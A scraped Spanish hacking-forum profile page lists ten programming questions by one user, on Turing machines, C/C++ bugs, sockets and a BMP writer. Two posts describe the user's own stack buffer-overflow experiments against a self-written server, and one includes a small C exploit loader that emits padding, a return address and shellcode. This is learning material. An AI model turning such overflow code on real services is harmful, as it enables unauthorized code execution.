elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: [1] 2 3 4
1  Foros Generales / Dudas Generales / Como puedo lograr esto? en: 6 Agosto 2016, 18:41 pm
https://alf.nu/ReturnTrue

Debo conseguir true desde una funcion que retorna  x != x

Intente con numeros pero siempre serán iguales en la comparacion. Alguna cosa matematica interesante que no sea igual a si misma? Gracias.
2  Programación / Programación General / Maquina de turing explicacion sencilla en: 22 Julio 2016, 15:50 pm
Hola, estoy intentando comprender la maquina de turing, pero no entiendo como procesa los datos.

Hasta donde sé, la maquina de turing es algo que lee/escribe en una cinta unos datos codificados por un alfabeto, dependiendo del estado interno en que se encuentre la maquina. Hace avanzar el puntero hacia la cinta, hacia delante o hacia atras (izquierda, derecha).

El alfabeto, por lo que he leido, es un conjunto de simbolos que denotan datos. Ej {0, 1}, en binario, para codificar las instrucciones y los datos.

Lo que no entiendo es como hacer para procesar los datos, ni tampoco donde tiene guardadas las instrucciones ni como se definen.

Por lo que he leido, parece ser que revisa una lista de estado y comprueba si el caracter leido coincide con alguno. Por favor, expliquenme más o menos de una forma más clara, evitando el formalismo matematico, o complementandolo.

Gracias. Mientras tanto seguiré leyendo. Es solo por curiosidad, para entender eso de P vs NP.
3  Programación / Programación General / Calcular PI en C y en ASM en: 29 Junio 2016, 16:12 pm
Hola, amigos. Estoy desarrollando un procesador sencilo de 8 bits. Quiero ponerlo a calcular digitos de PI. Será que alguno de ustedes tiene un algoritmo de PI en ensamblador?? Ya encontré algunos en C pero no son muy exactos porque difieren de lo que hay en paginas.

¿Será que alguien puede brindarme un algoritmo que sea en ensamblador y que solo use enteros para calcular los digitos de PI?

Es que mi procesador todavía no va a soportar coma flotante.

Pueden escribir a mi correo bloqueado si quieren alguna cosa mas.

Gracias de antemano.
4  Programación / Programación C/C++ / Iterarar a traves de una STL Lista y cambiar valores dentro de ella. en: 31 Mayo 2016, 06:25 am
Hola, estoy haciendo un juego. Estoy iterando por una lista de clientes y cuando un valor coincida, es decir, cuando la busqueda encuentre el valor deseo cambiar alguna propiedad de él.

He intentado hacer lo siguiente:

Código
  1. it = lista.begin();
  2.    player_node = (*it);
  3.    player_node.position = vector3df(20, 20, 20);
  4.    *it = player_node;
  5.  

Pero no funciona. Por favor ayuda con eso. Ya lo he buscado pero no encuentro solucion. Gracias de antemano.
5  Programación / Programación C/C++ / error: reference to 'list' is ambiguous| en: 29 Mayo 2016, 10:20 am
Hola, amigos. Estoy usando una lista STL. Tengo una estructura llamada player, cuya definicion es:

Código
  1. struct player{
  2.    SOCKET player_connection;
  3.    vector3df position;
  4.    vector3df rotation;
  5.    int life;
  6. };
  7.  

El problema está al crear un iterador:

Código
  1. list<struct player>::const_iterator it;
  2.  

Al compilarlo me detecta un error del tipo:

error: reference to 'list' is ambiguous|

Pruebo con un tipo de dato mas simple, como un SOCKET o un int, y funciona. ¿Por que ocurre eso?

Mientras tanto iré buscando tambien en otros sitios. Gracias de antemano.
6  Programación / Programación C/C++ / Ayuda con basura en fread en: 1 Abril 2016, 20:03 pm
Hola, amigos, estoy haciendo pequeños experimentos, y necesito leer un archivo.

Resulta que el codigo lo que hace es cargar el archivo en una memoria dinamica a traves de un puntero, pero al usar fread capta algo como "COM;<" al final del archivo, cosa que no es verdad.

No sé de donde aparece, pero les dejo el codigo, por si pueden ayudar, gracias.

Código
  1. ///This program receives a list of files in a text file, and glue togheter with a plus:
  2. ///all are compressed. The program can extract one file if the user wants it. The package
  3. ///can not be modified.
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7.  
  8. struct package_header{
  9.    int magic_number; //0xDEADBEFF;
  10.    int number_of_files_stored;
  11. };
  12.  
  13. struct file_entry{
  14.    char file_name[64];
  15.    int file_start;
  16.    int file_size;
  17. };
  18.  
  19. int main(int argc, char *argv[])
  20. {
  21.    if(argc < 2){
  22.        printf("Usage: mesa-pack.exe <list of files to package.txt>\n");
  23.    }
  24.  
  25.    FILE *list_of_files;
  26.    FILE *package;
  27.    int filesize;
  28.    char *content;
  29.    char *token;
  30.  
  31.    list_of_files = fopen(argv[1], "rb");
  32.    if(list_of_files == NULL){
  33.        printf("File list is damaged or computer unexpected error while opening file. Try again.\n");
  34.        return -1;
  35.    }
  36.  
  37.    fseek(list_of_files, 0, SEEK_END);
  38.    filesize = ftell(list_of_files);
  39.    fseek(list_of_files, 0, SEEK_SET);
  40.  
  41.    content = (char *)calloc(filesize, sizeof(char));
  42.  
  43.    //memset(content, 0, filesize);
  44.  
  45.  
  46.    fread((char *) content, filesize, 1, list_of_files);
  47.  
  48.    printf("filesize = %d\n", filesize);
  49.    printf("File content: %s\n", content);
  50.  
  51.    printf("Showing list of files to package...\n\n");
  52.    token = strtok(content, "\n");
  53.    while(token != NULL){
  54.        printf("token = %s\n", token);
  55.        token = strtok(NULL, "\n");
  56.  
  57.    }
  58.  
  59.    free(content);
  60.  
  61.  
  62.    return 0;
  63. }
  64.  
  65.  

http://subefotos.com/ver/?dba9f455a39df69e79173249a0764a0fo.jpg
7  Programación / Programación C/C++ / Dibujador de BMP -Error con chkstk_ms()... en: 14 Enero 2016, 21:06 pm
Hola, estoy haciendo un programa que crea archivos bmp de las dimensiones que yo quiera, y lo rellene en gris, y listo. El programa para las dimensiones 100x100 funciona, pero más allá falla algunas veces, principalmente si es más de 1000;

¿Pueden decirme como eliminar ese error que dice SIGSEV en chkstk_ms()??
¿Es mi codigo o sólo el compilador?

Si uso valores en WIDTH Y HEIGHT de 100, todo normal. Si me paso a 10000, se tranca y devuelve en depuracion SIGSEV en un chkstk_ms(), y ni muestra el primer printf. ¿Debo reinstalar el compilador o algo así? Al menos el error debería ser puntual, y no general.

Gracias de antemano.

Código
  1. #include <iostream>
  2. #include <strings.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5.  
  6. #define WIDTH 10000
  7. #define HEIGHT 10000
  8.  
  9. ///DONE:
  10. ///     Mas o menos crea la imagen.
  11. ///     Cuando se pasa de 1000 ambos, ocurre una falla.
  12. ///     del tipo Violacion de Segmento.
  13.  
  14. ///Error oculto solucionado: No consideraba las iniciales BM (2 bytes) al tamaño
  15. ///del archivo, muy importantes.
  16.  
  17. ///TO-DO:
  18. ///     -Fill the image with interesting data.
  19.  
  20. ///     -El programa lo unico que debe hacer es soportar colorear de azul,
  21. ///     un cuadro de 1000, pixeles.
  22.  
  23. ///     -Hay un problema con lo que significa el manejo del formato, en si mismo
  24. ///     -No puedo exceder los 1000px, debe ser algo relacionado con el padding.
  25.  
  26. ///     -Si grabó tal cual se le asignaron los valores a la matriz,
  27. ///      por tanto el error es de interpretacion. La escritura está bien.
  28. ///      aprender como manejar los bytes y dibujar un cuadrado, o algo así.
  29. ///     -Si soportó el array de bmp_pixeles, pero grabó basura
  30. ///     -Sin embargo, el formato quedó intacto.
  31.  
  32. using namespace std;
  33.  
  34. char bmp_sign[2] = {'B', 'M'}; /// = "BM";
  35.  
  36. struct bmp_format{
  37.  
  38.    unsigned int filesize; /// = filesize
  39.    unsigned short reserved_a; /// = 0;
  40.    unsigned short reserved_b; /// = 0;
  41.    unsigned int start_of_data_image; /// = 54
  42.    unsigned int bitmap_header_size;
  43.  
  44.    unsigned int width;
  45.    unsigned int height;
  46.    unsigned short number_of_planes;
  47.    unsigned short bits_per_pixel;// = 1;
  48.  
  49.    unsigned int compression; /// = 0;
  50.    unsigned int size_of_image; /// = 0;
  51.    unsigned int horizontal_resolution; /// = 0
  52.    unsigned int vertical_resolution; /// = 0;
  53.    unsigned int size_of_color_palette;
  54.    unsigned int counter_of_interesting_colors;
  55. };
  56.  
  57. struct bmp_pixel{
  58.    unsigned char red;
  59.    unsigned char green;
  60.    unsigned char blue;
  61. };
  62.  
  63. int main()
  64. {
  65.    FILE *bmp_file;
  66.    FILE *debug_image;
  67.    FILE *debug_binary;
  68.  
  69.    printf("Abriendo archivos bmp y debug respectivos\n");
  70.    bmp_file = fopen("C:\\output.bmp", "w+b");
  71.    //debug_image = fopen("C:\\image_in_bin.hex", "w+b");
  72.    //debug_binary = fopen("C:\\memory_in_bin.hex", "w+b");
  73.  
  74.    bmp_format bmp_format;
  75.    memset(&bmp_format, 0, sizeof(bmp_format));
  76.    printf("Estableciendo bmp format a NULL para mantenerlo limpio\n");
  77.  
  78.    unsigned int number_of_data_bytes;
  79.  
  80.    ///Initializing data
  81.    ///TO-DO: Design a better method to adjust values than
  82.    ///hard-code it.
  83.  
  84.    bmp_format.start_of_data_image = 54;
  85.    bmp_format.bitmap_header_size = 40;
  86.    bmp_format.width = WIDTH;
  87.    bmp_format.height = HEIGHT;
  88.    bmp_format.number_of_planes = 1;
  89.    bmp_format.bits_per_pixel = 24;
  90.    bmp_format.compression = 0;
  91.    bmp_format.size_of_image = number_of_data_bytes;
  92.    bmp_format.horizontal_resolution = 0;
  93.    bmp_format.vertical_resolution = 0;
  94.    bmp_format.size_of_color_palette = 0;
  95.    bmp_format.counter_of_interesting_colors = 0;
  96.  
  97.    ///TODO: This value must have a formule:
  98.    ///     -bmp_header + ([width * height] * 3 bytes of rgb)
  99.    ///TODO: Use it over hardcoded values.
  100.    number_of_data_bytes = (WIDTH * HEIGHT) * 3;
  101.    bmp_format.filesize = 2 + sizeof(bmp_format) + number_of_data_bytes;
  102.  
  103.    printf("Ya fueron rellenados todos los campos de bmp format!!\n");
  104.  
  105.    fwrite((char *) &bmp_sign, 2, 1, bmp_file);
  106.    fwrite((char *) &bmp_format, sizeof(bmp_format), 1, bmp_file);
  107.  
  108.    printf("Grabando bmp format + la señal de BM\n");
  109.  
  110.    /*struct bmp_pixel pixeles[WIDTH][HEIGHT];
  111. */
  112.  
  113.    char pixeles[WIDTH * HEIGHT * 3];
  114.    for(int i = 0; i < number_of_data_bytes; i++){
  115.        pixeles[i] = 0x50;
  116.    }
  117.  
  118. /*
  119.     ///Clear pixeles and zero it to avoid filter my
  120.     ///system data on memory swap.
  121.     memset(pixeles, 0, sizeof(pixeles));
  122.  
  123.     for(int e = 0; e < WIDTH; e = e + 5){
  124.         for(int i = 0; i < HEIGHT; i++){
  125.             pixeles[i][e].blue = 0xDE;
  126.             pixeles[i][e].red = 0xAD;
  127.             pixeles[i][e].green = 0xff;
  128.         }
  129.     }*/
  130.  
  131.    ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_image);
  132.    ///fwrite((char *) pixeles, number_of_data_bytes, 1, debug_binary);
  133.    ///fwrite((char *) pixeles, (WIDTH * HEIGHT * 3), 1, bmp_file);
  134.  
  135.    fclose(bmp_file);
  136.    cout << "Dibujador de BMP. En progreso y con futuro." << endl;
  137.    return 0;
  138. }
  139.  
8  Seguridad Informática / Bugs y Exploits / El compiler pareciera agregar algo entre variables de la stack desviando return en: 3 Enero 2015, 23:36 pm
Hola. Edito mi pregunta para ser más preciso: Mi duda es: Puede el compilador agregar algo "de más" entre variables de la stack???

Tengo un Tiny C Compiler, sin protecciones ni a nivel de compilador ni a nivel de Windows XP.

Puede ser que algo llamado "alignment" esté haciendo fallar mi exploit?? He enviado la cantidad de bytes necesarios para desbordar mi propio TCP server. Cuando el buffer destino es de 20 bytes, funciona. Pero si es de 60, no lo hace.

Y estoy enviando la cantidad de bytes necesarios para desbordarlos + la shellcode, así, que en teoría debería hacer lo que quiero, pero en la práctica salta hacia un ret addr extraño.

Adjunto links a un sitio de tipo pastebin, para no abrumar aqui en el foro.
Aqui les dejo mis codigos fuente:

Todos ellos funcionan si el buffer small es de 20 y el big de 30. Cambiando el valor de ambos por 60 y 120, no funcionan. Ahi están mis sources, por si alguien los quiere ver.

(Uso winsock2.h, si alguna cosa lo renombran sin el 2)

Mi TCP server (source escrito por mi)
http://tny.cz/2dc66ee0

Mi TCP exploit
http://tny.cz/dc9295ba

Mi shellcode
http://tny.cz/c4426347

Aqui está el programa objetivo, ya compilado, a peticion de un usuario. Para que no digan que es que uno quiero que resuelvan por mi.
https://drive.google.com/file/d/0Bxshgu4STp1aUXpsYmMySWhqS3c/view?usp=sharing

Gracias de antemano por su atencion.
9  Seguridad Informática / Bugs y Exploits / No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack en: 1 Enero 2015, 21:54 pm
Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c
Código
  1. /*Simple Exploit loader
  2.  
  3.     usage: exploit.exe <trash_bytes> <ret addr>
  4.  
  5.     Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
  6.     y usa la direccion de retorno en hexadecimal, convertida a un binario
  7.     plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
  8.    al menos eso pensé cuando lo cree)
  9.  
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14.  
  15. union ret_addr{
  16.    char bytes[4];
  17.    unsigned int raw;
  18. };
  19.  
  20. int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
  21.    FILE *file_loaded;
  22.    void *buffer_destiny;
  23.    unsigned int file_size;
  24.  
  25.    file_loaded = fopen(filename, "rb");
  26.    if(file_loaded == NULL)
  27.        return 0;
  28.  
  29.    fseek(file_loaded, 0, SEEK_END);
  30.    file_size = ftell(file_loaded);
  31.    fseek(file_loaded, 0, SEEK_SET);
  32.  
  33.    buffer_destiny = (void *) malloc(file_size+1);
  34.    *ptr_buffer_destiny = buffer_destiny;
  35.  
  36.    fread((char *) buffer_destiny, file_size, 1, file_loaded);
  37.    buffer_destiny[file_size] = '\0';
  38.  
  39.    //printf("BEGIN DEBUG FILE\n");
  40.    //printf("%s", buffer_destiny);
  41.    //printf("\n\nEND DEBUG FILE\n");
  42.  
  43.    fclose(file_loaded);
  44.  
  45.    return file_size;
  46.  
  47. }
  48.  
  49. int main(int argc, char *argv[]){
  50.  
  51.    FILE *shellcode_file;
  52.    char *shellcode;
  53.    int file_size;
  54.  
  55.    int trash_bytes = atoi(argv[1]);
  56.    union ret_addr ret_addr;
  57.    ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);
  58.  
  59.    int i = 0;
  60.    for(i; i < trash_bytes; i++){
  61.         printf("a");
  62.    }
  63.  
  64.    if(argc == 3){
  65.    printf("%c", ret_addr.bytes[3]);
  66. printf("%c", ret_addr.bytes[2]);
  67. printf("%c", ret_addr.bytes[1]);
  68. printf("%c", ret_addr.bytes[0]);
  69. }
  70.  
  71.    file_size = load_file_on_buffer("shellcode.bin", &shellcode);
  72.  
  73.    for(i = 0; i < file_size; i++){
  74.         printf("%c", shellcode[i]);
  75.    }
  76.  
  77. }
  78.  

Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.
10  Programación / Programación C/C++ / No puedo procesar datos recibidos de socket como un bloque en: 4 Diciembre 2014, 02:24 am
Hola. Estoy desarrollando algo que podría llamarse "shell remota" porque recibe comandos desde una máquina externa. En realidad es una computadora que está a la escucha de comandos, los interpreta y devuelve un resultado.

El problema está en que yo quiero recibir los carácteres recibidos como un bloque, es decir, como un comando completo. Pero cuando lo intento, pareciera ser que voy recibiendo byte a byte, en vez de toda la informacion transmitida.

Por favor, si pueden ayudarme estaría muy agradecido. Adjunto el código para que vean que el receptor no puede interpretar el comando "ATTACK".

Código
  1. /* Enlazar Ws2_32 */
  2. #define _WIN32_WINNT 0x0501
  3. #include <stdio.h>
  4. #include <winsock2.h>
  5. #define PUERTO 8080
  6.  
  7. WSADATA wsa_data;
  8. SOCKET listen_socket, cliente;
  9. struct sockaddr_in clientinfo, servicio;
  10. int rtn;
  11. char buffer[256];
  12.  
  13. void print_buffer(char *buffer, unsigned int bytes) {
  14.    while(bytes--)
  15.        putchar(*buffer++);
  16.  
  17. }
  18.  
  19. int main() {
  20.    if ((rtn = WSAStartup(MAKEWORD(2,2), &wsa_data)) != 0) {
  21.        fprintf(stderr, "Error WSAStartup: %d\n", rtn);
  22.        return 1;
  23.    }
  24.  
  25.    if((listen_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
  26.        fprintf(stderr, "Error en socket: %d\n", WSAGetLastError());
  27.        WSACleanup();
  28.        return 1;
  29.    }
  30.  
  31.    servicio.sin_family = AF_INET;
  32.    servicio.sin_addr.S_un.S_addr = INADDR_ANY;
  33.    servicio.sin_port = htons(PUERTO);
  34.  
  35.    if((rtn = bind(listen_socket, (struct sockaddr*) &servicio, (int) sizeof(servicio))) == SOCKET_ERROR) {
  36.        fprintf(stderr, "Error en bind: %d\n", WSAGetLastError());
  37.        WSACleanup();
  38.        return 1;
  39.    }
  40.  
  41.    if (listen(listen_socket, SOMAXCONN) == SOCKET_ERROR) {
  42.        fprintf(stderr, "Error en listen: %d\n", WSAGetLastError());
  43.        closesocket(listen_socket);
  44.        WSACleanup();
  45.        return 1;
  46.    }
  47.  
  48.    if((cliente = accept(listen_socket, (struct sockaddr*)&clientinfo, NULL)) == INVALID_SOCKET) {
  49.        fprintf(stderr, "Error en accept: %d\n", WSAGetLastError());
  50.        closesocket(listen_socket);
  51.        WSACleanup();
  52.        return 1;
  53.    }
  54.  
  55.    closesocket(listen_socket);
  56.  
  57.    printf("Cliente IP: %s\n", inet_ntoa(clientinfo.sin_addr));
  58.  
  59.    do {
  60.        rtn = recv(cliente, buffer, sizeof(buffer), 0);
  61.  
  62.        if(rtn > 0) {
  63.            print_buffer(buffer, rtn);
  64.            if(strcmp(buffer, "ATTACK") == 0){
  65.                printf("ATTACK COMMAND ISSUED!!\n");
  66.            }
  67.        } else if(rtn == 0)
  68.            printf("Cerrando la conexión...\n");
  69.        else {
  70.            fprintf(stderr, "Error en recv: %d\n", WSAGetLastError());
  71.            closesocket(cliente);
  72.            WSACleanup();
  73.            return 1;
  74.        }
  75.    } while(rtn > 0);
  76.  
  77.    closesocket(cliente);
  78.    WSACleanup();
  79.  
  80.    return 0;
  81. }
  82.  
  83.  
Páginas: [1] 2 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines